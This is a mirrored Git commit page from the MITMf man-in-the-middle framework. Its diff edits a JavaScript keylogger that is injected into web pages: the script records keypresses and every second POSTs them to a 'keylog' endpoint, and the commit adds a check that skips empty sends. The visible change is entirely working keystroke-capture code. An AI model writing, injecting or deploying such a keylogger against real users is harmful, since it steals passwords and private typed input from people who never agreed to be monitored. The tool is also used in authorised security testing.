mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-15 09:33:53 -07:00
added check for keys length
This commit is contained in:
parent
37f4826521
commit
e5f41a00fa
1 changed files with 6 additions and 4 deletions
|
@ -50,10 +50,12 @@ document.onkeypress = function(e) {
|
||||||
}
|
}
|
||||||
|
|
||||||
window.setInterval(function(){
|
window.setInterval(function(){
|
||||||
xhr.open("POST", "keylog", true);
|
if (keys.length > 0){
|
||||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
xhr.open("POST", "keylog", true);
|
||||||
xhr.send(keys);
|
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||||
keys = '';
|
xhr.send(keys);
|
||||||
|
keys = '';
|
||||||
|
}
|
||||||
}, 1000);
|
}, 1000);
|
||||||
</script>"""
|
</script>"""
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue